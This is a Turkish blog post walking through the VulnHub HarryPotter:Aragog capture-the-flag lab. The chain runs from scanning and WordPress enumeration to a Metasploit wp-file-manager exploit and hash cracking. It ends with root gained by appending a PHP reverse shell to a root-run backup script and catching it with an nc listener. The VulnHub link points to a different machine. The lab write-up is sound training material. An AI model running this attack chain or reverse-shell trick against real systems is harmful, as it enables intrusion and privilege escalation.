Eğitim Danışmanlık

CTF: VulnHub- HarryPotter:Aragog  Makine Çözümü

3 Kasım 20224 dakika okumaEğitim DanışmanlıkSiber Güvenlik

Makine Hakkında Bilgiler

Bu makinenin çözümü için önerilen platform VirtualBox‘ dır.

Makinenin amacı harry potter izleyen arkadaşlar iyi bilir 2 adet horcruxes (filmdeki ifadesiyle hordkuluk :) ) bulmak. Yani 2 adet bayrak var ve onu bulmamızı istiyor.

Makinenin VulnHub sayfasındaki linki: https://www.vulnhub.com/entry/star-wars-ctf-1,528/

O zaman hadi makineyi çözmeye başlayalım


Makinenin Çözüm Adımları

1. İlk olarak saldırı yapacağımız yani kendi sanal makinemizin ip adresini öğreniyoruz.

Ekran görüntüsüBu adımın terminal çıktısı arşivden aktarılmayı bekliyor. Yazının metni adımların tamamını anlatır.
ifconfig komutu ile ip adresimizi öğreniyoruz. 10.0.2.6 olduğunu tespit ettik.

2. Şimdi de saldırı yapacağımız hedefi tespit etmemiz lazım. Bunun için netdiscover kullanacağım.

Ekran görüntüsüBu adımın terminal çıktısı arşivden aktarılmayı bekliyor. Yazının metni adımların tamamını anlatır.
netdiscover -r 10.0.2.0/24 komutu yardımıyla hedefin 10.0.2.16 ip adresine sahip olduğunu keşfettik.

3. Şimdi makine hakkında bilgiler elde etmek adına nmap komutunu çalıştıracağım.

Ekran görüntüsüBu adımın terminal çıktısı arşivden aktarılmayı bekliyor. Yazının metni adımların tamamını anlatır.
nmap -n -Pn -A -sV -sC -p- 10.0.2.16 komutunu çalıştırıyorum.
Buradaki parametreleri incelersek;
-n: DNS çözümlemesi yapma demek.
-Pn: Pingleri devre dışı bırakma.
-A: Agresif tarama yap.
-sV: Açık portta çalışan servisin ne olduğunu bulmaya çalışır.-sC ile birlikte kullanılırsa işe yarar.
-sC: -sV ile versiyon tespiti yaparken nmap scriptlerini kullanır.
-p-: 65535 portun hepsini tarar.
En sonda da hedef sistemin ip adresi yani 10.0.2.16

22 SSH ve 80 HTTP portları açık.

4. Hemen ilk olarak tarayıcıma 10.0.2.16 yazarak gidiyorum.

Tarayıcıda sadece harry potter ın film afiş resmi var. Sayfanın kaynak kodlarında yada resimde gizlenmiş herhangi bir şey yok. O zaman bir de alt dizin taraması yapalım.

5. Alt dizin taraması için gobuster kullanacağım.

Ekran görüntüsüBu adımın terminal çıktısı arşivden aktarılmayı bekliyor. Yazının metni adımların tamamını anlatır.
gobuster dir -u 10.0.2.16 -w /usr/share/wordlists/MyLists/DirectoryListMedium.txt kodumu kullanarak alt dizinleri tespit ettim.
Burada alt dizinleri incelediğim zaman /blog dizinine gidince sayfamın wordpress olduğunu görüyorum.

6. Ancak şöyle bir sorun var site düzgün açılmıyor bunun için /etc/hosts' un içeriğini düzenlememiz lazım.

Ekran görüntüsüBu adımın terminal çıktısı arşivden aktarılmayı bekliyor. Yazının metni adımların tamamını anlatır.
geany /etc/hosts dedikten sonra en alt satıra ip adresini ekleyince sayfa artık düzgün görüntülenebiliyor.

7. Sitemiz wordpress olduğu için wpscan kullanarak önce kullanıcı adı daha sonra da şifre bulmaya çalışalım.

Ekran görüntüsüBu adımın terminal çıktısı arşivden aktarılmayı bekliyor. Yazının metni adımların tamamını anlatır.
wpscan --url 10.0.2.16/blog --enumerate u kodumu çalıştırdığım zaman wp-admin isimli bir kullanıcı buldum.

8. Şimdi de bu wp-admin' in şifresini bulmaya çalışalım

Ekran görüntüsüBu adımın terminal çıktısı arşivden aktarılmayı bekliyor. Yazının metni adımların tamamını anlatır.
wpscan --url 10.0.2.16/blog --usernames wp-admin --passwords /usr/share/wordlists/MyLists/BigPasswordList.txt kodumu çalıştırdığım zaman başka password listeleri denesem de wp-admin' in şifresini bulamadım.

9. Son olarak sitedeki yüklü olan eklentileri wpscan ile bulalım belki oradan bir zafiyet buluruz.

Ekran görüntüsüBu adımın terminal çıktısı arşivden aktarılmayı bekliyor. Yazının metni adımların tamamını anlatır.
wpscan --url 10.0.2.16/blog --plugins-detection aggressive kodumu çalıştırınca akismet, wp-file-manager diye iki adet eklenti buldum.

10. Hemen google da bu eklentileri aratınca mfsconsole kullanarak wp-file manager' ın zafiyetinden faydalanılarak sisteme sızılabileceğini görüyorum. O zaman hemen msfconsole' u açalım ve araştırmamıza başlayalım.

11. msfconsole' u başlatıyorum ve hemen search ile aratıyorum.

Ekran görüntüsüBu adımın terminal çıktısı arşivden aktarılmayı bekliyor. Yazının metni adımların tamamını anlatır.
Burada search ettiğim zaman remote code execution exploit' i buluyorum. Bunu deneyelim o zaman.

12. Exploit' i seçiyorum ve gerekli alanları dolduruyorum.

Ekran görüntüsüBu adımın terminal çıktısı arşivden aktarılmayı bekliyor. Yazının metni adımların tamamını anlatır.
set RHOSTS 10.0.2.16
set LHOST 10.0.2.6
set TARGETURI /blog
Komutlarımı girdikten sonra artık run diyerek saldırımı başlatabilirim.

13. Bingo oturumu almayı başardım.

14. Makinemizin içinde dolaşalım. Home dizininde 2 kullanıcı var hagrid98' in içine girince ilk bayrağımızı buluyoruz.

Ekran görüntüsüBu adımın terminal çıktısı arşivden aktarılmayı bekliyor. Yazının metni adımların tamamını anlatır.
cat horcrux1.txt dediğim zaman ilk bayrak: horcrux_{MTogUmlkRGxFJ3MgRGlBcnkgZEVzdHJvWWVkIEJ5IGhhUnJ5IGluIGNoYU1iRXIgb2YgU2VDcmV0cw==}

15. Daha sonra /etc/wordpress dizinine gidince config-default.php dosyasını cat ile okuduğum zaman içinde veri tabanının kullanıcı adı ve şifresini buluyorum.

NOT: EĞER BİR WORDPRESS SAYFASI VARSA HER ZAMAN /ETC/WORDPRESS DİZİNİNİ GİDİP KONTROL ETMEKTE FAYDA VARDIR :)

Ekran görüntüsüBu adımın terminal çıktısı arşivden aktarılmayı bekliyor. Yazının metni adımların tamamını anlatır.

16. O zaman veritabanına bağlanmaya çalışalım.

mysql -u root -p diyorum ve şifre olarak da mySecr3tPass giriyorum.
Veri tabanımızın ismi wordpress bundan dolayı use wordpress diyorum
select * from wordpress; diyorum ve tabloları görüyorum. Burada wp_users tablosuna bir bakalım
select * from wp_users; diyorum

Ekran görüntüsüBu adımın terminal çıktısı arşivden aktarılmayı bekliyor. Yazının metni adımların tamamını anlatır.
hagrid98' in şifresinin hash' li haline ulaşıyorum.

17. Hash değerini alıp masaüstünde bir dosya oluşturup içine yapıştırıyorum. Hashcat' le kırmayı deneyeceğim.

hashcat -m 400 -a 0 -o /root/Desktop/hashsonucu.txt /root/Desktop/hash /usr/share/wordlists/rockyou.txt
Burada -m den sonraki değer: wordpress için kullanılan kod
-a dan sonraki değer: wordlist saldırısı yapacağım için 0
Şifreyi kırıyoruz ve şifre password123 'müş.

18. Artık ssh ile bağlanmayı deneyebilirim

Ekran görüntüsüBu adımın terminal çıktısı arşivden aktarılmayı bekliyor. Yazının metni adımların tamamını anlatır.
ssh hagrid98@10.0.2.16 şifre olarak da password123 yapınca bağlantı sağladım.

19. Makineyi kurcaladığım zaman /opt dizininde .backup.sh olduğunu görüyorum

Ekran görüntüsüBu adımın terminal çıktısı arşivden aktarılmayı bekliyor. Yazının metni adımların tamamını anlatır.
Cat ile içini görüntüleyince bir şeyler kopyalayabildiğimi görüyorum.

20. O zaman buraya reverse shell kodumu yükleyebilirim.

21. Kali' de var-www-html' in içine php reverse shell kodumu alıp yapıştırıyorum ve uzantısını da txt yapıyorum.

NOT: php reverse shell kodu için: https://pentestmonkey.net/tools/web-shells/php-reverse-shell sitesinden ulaşabilirsiniz.

22. Şimdi de Kali' de bulunan apache servisimi çalıştırıyorum

service apache2 start diyorum

23. Şimdi shell aldığım terminale dönüyorum ve tmp' nin içine gidiyorum. Çünkü o da opt' nin içinde öyle yaptığını göstermişti.

24. Başka bir terminal daha açalım ve natcat dinlememizi başlatalım

nc -lvnp 4444

25. Şimdi txt yi php ye çevirelim tekrar makinenin içinde cp reverse.txt reverse.php

26. Aragog makinemdeki ssh terminalime echo "/tmp/reverse.php">> /opt/.backup.sh komutunu yazıyorum ve natcat dinleme terminalime dönünce artık root yetkisinde olduğumu görüyorum

27. cat horcrux2.txt dediğim zaman 2. bayrağımı da elde etmiş oluyorum.

Ekran görüntüsüBu adımın terminal çıktısı arşivden aktarılmayı bekliyor. Yazının metni adımların tamamını anlatır.
Artık makinemizdeki 2 bayrağı da ele geçirmiş oluyoruz.

Sızma testi alanında eğitimler alarak kendinizi ya da kurum personellerinizi geliştirmek istiyorsanız bizimle iletişime geçebilirsiniz.

Diğer CTF çözümlerinde görüşmek üzere. Bizi takip etmeye devam edin…

Bu konuda destek

Yazdıklarımız iş yaparken üretilmiş notlardır. Kurumunuz için aynı işi yapabiliriz.

Uzmanla görüşün

Başlayalım

Projenizi konuşalım.

İlk görüşme bir keşif toplantısıdır, satış sunumu değil. Kurumunuzun kendi ortamında yapılacak kısa süreli bir pilot çalışma veya kavram doğrulama (PoC) ile yetkinliğimizi doğrudan değerlendirebilirsiniz.

Teklif formunu doldurun

WhatsApp